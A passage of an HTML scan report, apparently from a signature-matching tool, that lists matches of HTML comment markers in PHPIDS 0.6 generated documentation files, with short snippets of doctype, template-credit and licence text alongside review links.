onclick='wt.signature.toggle("html","c11bb7eec8b60626961f63cda07648ac")'>Hide</a> </span> </h3> <div class='sortable'> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/packages.html</span>:<span class='line_number'>5</span> <span class='match_count'>(1/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title></title> 7- <link rel="stylesheet" href="media/stylesheet.css" /> 8- <link rel="stylesheet" href="media/banner.css" /></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/elementindex_PHPIDS.html</span>:<span class='line_number'>5</span> <span class='match_count'>(2/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title></title> 7- <link rel="stylesheet" href="media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/classtrees_PHPIDS.html</span>:<span class='line_number'>5</span> <span class='match_count'>(3/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title></title> 7- <link rel="stylesheet" href="media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> 9- </head> 10- <body> 11- 12:<span class='match_highlight'><!--</span> Start of Class Data --> 13-<H2> 14- 15-</H2></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/errors.html</span>:<span class='line_number'>5</span> <span class='match_count'>(4/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>phpDocumentor Parser Errors and Warnings</title> 7- <link rel="stylesheet" href="media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/elementindex.html</span>:<span class='line_number'>5</span> <span class='match_count'>(5/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title></title> 7- <link rel="stylesheet" href="media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/index.html</span>:<span class='line_number'>7</span> <span class='match_count'>(6/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>4- "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> 5- <html xmlns="http://www.w3.org/1999/xhtml"> 6-<head> 7: <span class='match_highlight'><!--</span> Generated by phpDocumentor on Mon, 22 Dec 2008 13:36:38 +0100 --> 8- <title>Generated Documentation</title> 9- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/> 10-</head></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/li_PHPIDS.html</span>:<span class='line_number'>5</span> <span class='match_count'>(7/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title></title> 7- <link rel="stylesheet" href="media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html</span>:<span class='line_number'>5</span> <span class='match_count'>(8/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Caching_Database</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html</span>:<span class='line_number'>28</span> <span class='match_count'>(9/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- <ul> 26- <li><a href="../PHPIDS/IDS_Caching_Interface.html">IDS_Caching_Interface</a></li> </ul> 27- </p> 28: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 29-<p class="short-description">Database caching wrapper</p> 30-<p class="description"><p>This class inhabits functionality to get and set cache via a database.</p></p> 31- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html</span>:<span class='line_number'>99</span> <span class='match_count'>(10/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>96- </div> 97- <div class="info-box-body"> 98- <A NAME='method_detail'></A> 99:<a name="methodgetInstance" id="getInstance"><span class='match_highlight'><!--</span> --></a> 100-<div class="evenrow"> 101- 102- <div class="method-header"> 103- <span class="method-title">static method getInstance</span> (line <span class="line-number">129</span>) 104- </div> 105- 106: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 107-<p class="short-description">Returns an instance of this class</p> 108- <ul class="tags"> 109- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html</span>:<span class='line_number'>133</span> <span class='match_count'>(11/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>130- 131- </div> 132- 133:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 134-<div class="oddrow"> 135- 136- <div class="method-header"> 137- <span class="method-title">Constructor __construct</span> (line <span class="line-number">113</span>) 138- </div> 139- 140: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 141-<p class="short-description">Constructor</p> 142-<p class="description"><p>Connects to database.</p></p> 143- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html</span>:<span class='line_number'>166</span> <span class='match_count'>(12/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>163- 164- 165- </div> 166:<a name="methodgetCache" id="getCache"><span class='match_highlight'><!--</span> --></a> 167-<div class="evenrow"> 168- 169- <div class="method-header"> 170- <span class="method-title">getCache</span> (line <span class="line-number">181</span>) 171- </div> 172- 173: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 174-<p class="short-description">Returns the cached data</p> 175-<p class="description"><p>Note that this method returns false if either type or file cache is not set</p></p> 176- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Caching_Database.html</span>:<span class='line_number'>199</span> <span class='match_count'>(13/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>196- </dl> 197- 198- </div> 199:<a name="methodsetCache" id="setCache"><span class='match_highlight'><!--</span> --></a> 200-<div class="oddrow"> 201- 202- <div class="method-header"> 203- <span class="method-title">setCache</span> (line <span class="line-number">146</span>) 204- </div> 205- 206: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 207-<p class="short-description">Writes cache data into the database</p> 208- <ul class="tags"> 209- <li><span class="field">throws:</span> PDOException if a db error occurred</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter---Storage---Abstract.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(14/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Abstract.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter---Storage---Abstract.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(15/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2007 PHPIDS (http://php-ids.org)</p><p>This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the license.</p><p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.</p></p> 25-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Database.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(16/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Database.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Database.php.html</span>:<span class='line_number'>23</span> <span class='match_count'>(17/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>20- | <a href="#sec-includes">Includes</a> 21- </div> 22- <div class="info-box-body"> 23: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 24-<p class="short-description">PHPIDS</p> 25-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 26- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Database.php.html</span>:<span class='line_number'>72</span> <span class='match_count'>(18/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>69- | <span class="disabled">Includes</span> 70- </div> 71- <div class="info-box-body"> 72: <a name="_IDS/Caching/Interface_php"><span class='match_highlight'><!--</span> --></a> 73-<div class="evenrow"> 74- 75- <div></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Caching---Database.php.html</span>:<span class='line_number'>83</span> <span class='match_count'>(19/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>80- </span> 81- </div> 82- 83: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 84-<p class="short-description">PHPIDS</p> 85-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 86- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter.php.html</span>:<span class='line_number'>5</span> <span class='match_count'>(20/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs for page Filter.php</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/_Filter.php.html</span>:<span class='line_number'>22</span> <span class='match_count'>(21/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- <a href="#sec-classes">Classes</a> 20- </div> 21- <div class="info-box-body"> 22: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 23-<p class="short-description">PHPIDS</p> 24-<p class="description"><p>Requirements: PHP5, SimpleXML</p><p>Copyright (c) 2008 PHPIDS group (http://php-ids.org)</p><p>PHPIDS is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, version 3 of the License, or (at your option) any later version.</p><p>PHPIDS is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details.</p><p>You should have received a copy of the GNU Lesser General Public License along with PHPIDS. If not, see &lt;http://www.gnu.org/licenses/&gt;.</p><p>PHP version 5.1.6+</p></p> 25- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_File.html</span>:<span class='line_number'>5</span> <span class='match_count'>(22/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Log_File</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_File.html</span>:<span class='line_number'>28</span> <span class='match_count'>(23/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>25- <ul> 26- <li><a href="../PHPIDS/IDS_Log_Interface.html">IDS_Log_Interface</a></li> </ul> 27- </p> 28: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 29-<p class="short-description">File logging wrapper</p> 30-<p class="description"><p>The file wrapper is designed to store data into a flatfile. It implements the singleton pattern.</p></p> 31- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_File.html</span>:<span class='line_number'>98</span> <span class='match_count'>(24/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>95- </div> 96- <div class="info-box-body"> 97- <A NAME='method_detail'></A> 98:<a name="methodgetInstance" id="getInstance"><span class='match_highlight'><!--</span> --></a> 99-<div class="evenrow"> 100- 101- <div class="method-header"> 102- <span class="method-title">static method getInstance</span> (line <span class="line-number">110</span>) 103- </div> 104- 105: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 106-<p class="short-description">Returns an instance of this class</p> 107-<p class="description"><p>This method allows the passed argument to be either an instance of IDS_Init or a path to a log file. Due to the singleton pattern only one instance for each file can be initiated.</p></p> 108- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_File.html</span>:<span class='line_number'>130</span> <span class='match_count'>(25/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>127- 128- </div> 129- 130:<a name="method__construct" id="__construct"><span class='match_highlight'><!--</span> --></a> 131-<div class="oddrow"> 132- 133- <div class="method-header"> 134- <span class="method-title">Constructor __construct</span> (line <span class="line-number">86</span>) 135- </div> 136- 137: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 138-<p class="short-description">Constructor</p> 139- <ul class="tags"> 140- <li><span class="field">access:</span> protected</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_File.html</span>:<span class='line_number'>159</span> <span class='match_count'>(26/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>156- 157- 158- </div> 159:<a name="methodexecute" id="execute"><span class='match_highlight'><!--</span> --></a> 160-<div class="evenrow"> 161- 162- <div class="method-header"> 163- <span class="method-title">execute</span> (line <span class="line-number">184</span>) 164- </div> 165- 166: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 167-<p class="short-description">Stores given data into a file</p> 168- <ul class="tags"> 169- <li><span class="field">throws:</span> Exception if the logfile isn't writeable</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Log_File.html</span>:<span class='line_number'>195</span> <span class='match_count'>(27/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>192- </dl> 193- 194- </div> 195:<a name="methodprepareData" id="prepareData"><span class='match_highlight'><!--</span> --></a> 196-<div class="oddrow"> 197- 198- <div class="method-header"> 199- <span class="method-title">prepareData</span> (line <span class="line-number">146</span>) 200- </div> 201- 202: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 203-<p class="short-description">Prepares data</p> 204-<p class="description"><p>Converts given data into a format that can be stored into a file. You might edit this method to your requirements.</p></p> 205- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>5</span> <span class='match_count'>(28/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>2-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 3- <html xmlns="http://www.w3.org/1999/xhtml"> 4- <head> 5: <span class='match_highlight'><!--</span> template designed by Marco Von Ballmoos --> 6- <title>Docs For Class IDS_Init</title> 7- <link rel="stylesheet" href="../media/stylesheet.css" /> 8- <meta http-equiv='Content-Type' content='text/html; charset=iso-8859-1'/></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>24</span> <span class='match_count'>(29/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>21- 22- </div> 23- <div class="info-box-body"> 24: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 25-<p class="short-description">Framework initiation</p> 26-<p class="description"><p>This class is used for the purpose to initiate the framework and inhabits functionality to parse the needed configuration file.</p></p> 27- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>139</span> <span class='match_count'>(30/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>136- 137- </div> 138- <div class="info-box-body"> 139: <a name="var$config" id="$config"><span class='match_highlight'><!--</span> --></A> 140-<div class="oddrow"> 141- 142- <div class="var-header"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>150</span> <span class='match_count'>(31/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>147- </span> 148- </div> 149- 150: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 151-<p class="short-description">Holds config settings</p> 152- <ul class="tags"> 153- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>176</span> <span class='match_count'>(32/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>173- </div> 174- <div class="info-box-body"> 175- <A NAME='method_detail'></A> 176:<a name="methodinit" id="init"><span class='match_highlight'><!--</span> --></a> 177-<div class="evenrow"> 178- 179- <div class="method-header"> 180- <span class="method-title">static method init</span> (line <span class="line-number">115</span>) 181- </div> 182- 183: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 184-<p class="short-description">Returns an instance of this class. Also a PHP version check is being performed to avoid compatibility problems with PHP &lt; 5.1.6</p> 185- <ul class="tags"> 186- <li><span class="field">access:</span> public</li></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>207</span> <span class='match_count'>(33/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>204- 205- </div> 206- 207:<a name="methodgetBasePath" id="getBasePath"><span class='match_highlight'><!--</span> --></a> 208-<div class="oddrow"> 209- 210- <div class="method-header"> 211- <span class="method-title">getBasePath</span> (line <span class="line-number">161</span>) 212- </div> 213- 214: <span class='match_highlight'><!--</span> ========== Info from phpDoc block ========= --> 215-<p class="short-description">This method checks if a base path is given and usage is set to true.</p> 216-<p class="description"><p>If all that tests succeed the base path will be returned as a string - else null will be returned.</p></p> 217- <ul class="tags"></code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/phpdocumentor/PHPIDS/IDS_Init.html</span>:<span class='line_number'>233</span> <span class='match_count'>(34/257)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div 